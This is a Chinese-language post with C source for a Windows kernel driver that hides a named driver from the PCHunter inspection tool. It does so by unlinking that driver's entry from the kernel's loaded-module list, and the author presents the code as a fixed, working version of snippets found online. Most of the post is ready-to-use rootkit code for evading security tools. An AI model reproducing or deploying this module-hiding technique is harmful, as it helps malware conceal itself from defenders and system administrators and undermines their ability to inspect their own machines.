驱动隐藏模块

以下代码为驱动隐藏代码，代码比较简单，只需要修改一下PsCreateSystemThread 函数最后一个成员，改为自己的驱动名称就可以了（注意不加后缀），这份代码与很多网上的相似，但是当我用网上的代码运行时各种蓝屏，不是少写了个取地址就是IoDriverObjectType没有声明为指针的指针，于是修复了他们写的bug。(注意此代码只能用debug版本，Release版本会蓝屏)

运行后将会使目标模块在PCHunter隐藏

#include <ntifs.h>

typedef struct _KLDR_DATA_TABLE_ENTRY {
	LIST_ENTRY InLoadOrderLinks;
	ULONG exp;
	ULONG un;
	ULONG NonPagedDebugInfo;
	ULONG DllBase;
	ULONG EntryPoint;
	ULONG SizeOfImage;
	UNICODE_STRING FullDllName;
	UNICODE_STRING BaseDllName;
	ULONG Flags;
	USHORT LoadCount;
	USHORT __Undefined5;
	ULONG  __Undefined6;
	ULONG  CheckSum;
	ULONG  TimeDateStamp;
} KLDR_DATA_TABLE_ENTRY, * PKLDR_DATA_TABLE_ENTRY;

//未文档化，所以需要自己声明一下
extern POBJECT_TYPE* IoDriverObjectType;

NTKERNELAPI NTSTATUS ObReferenceObjectByName(
	IN PUNICODE_STRING ObjectName,
	IN ULONG Attributes,
	IN PACCESS_STATE PassedAccessState OPTIONAL,
	IN ACCESS_MASK DesiredAccess OPTIONAL,
	IN POBJECT_TYPE ObjectType,
	IN KPROCESSOR_MODE AccessMode,
	IN OUT PVOID ParseContext OPTIONAL,
	OUT PVOID* Object
);


VOID DriverUnload(PDRIVER_OBJECT pDriverObject)
{
	DbgPrint("卸载驱动\r\n");
}

VOID DriverHide(PWCH objName)
{
	DbgBreakPoint();
	//等待一段时间使主函数运行完毕，这样从链表中才能看到自身
	LARGE_INTEGER in = {0};
	in.QuadPart = -10000 * 5000; //等待5s
	KeDelayExecutionThread(KernelMode,FALSE,&in);

	//将需要断链的驱动名称进行转换为对象
	UNICODE_STRING driverName = { 0 };
	RtlInitUnicodeString(&driverName, objName);
	PDRIVER_OBJECT httpDriver = NULL;
	NTSTATUS status = ObReferenceObjectByName(&driverName, FILE_ALL_ACCESS, NULL, 0, *IoDriverObjectType, KernelMode, NULL, &httpDriver);

	if (NT_SUCCESS(status))
	{
		PKLDR_DATA_TABLE_ENTRY DSection = (PKLDR_DATA_TABLE_ENTRY)httpDriver->DriverSection;
		httpDriver->DriverSection = DSection->InLoadOrderLinks.Flink;
		RemoveEntryList(&DSection->InLoadOrderLinks);
		httpDriver->DriverInit = NULL;
		ObDereferenceObject(httpDriver);
	}
	return;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT pDriver, PUNICODE_STRING pReg)
{
	HANDLE hThread = NULL;
	//创建一个线程用于执行断链，因为直接在主函数执行会看不到
	NTSTATUS status =  PsCreateSystemThread(&hThread, THREAD_ALL_ACCESS, NULL, NULL, NULL, DriverHide, L"\\driver\\ceshi");
	if (NT_SUCCESS(status))
	{
		NtClose(hThread);
	}

	pDriver->DriverUnload = DriverUnload;

	return STATUS_SUCCESS;
}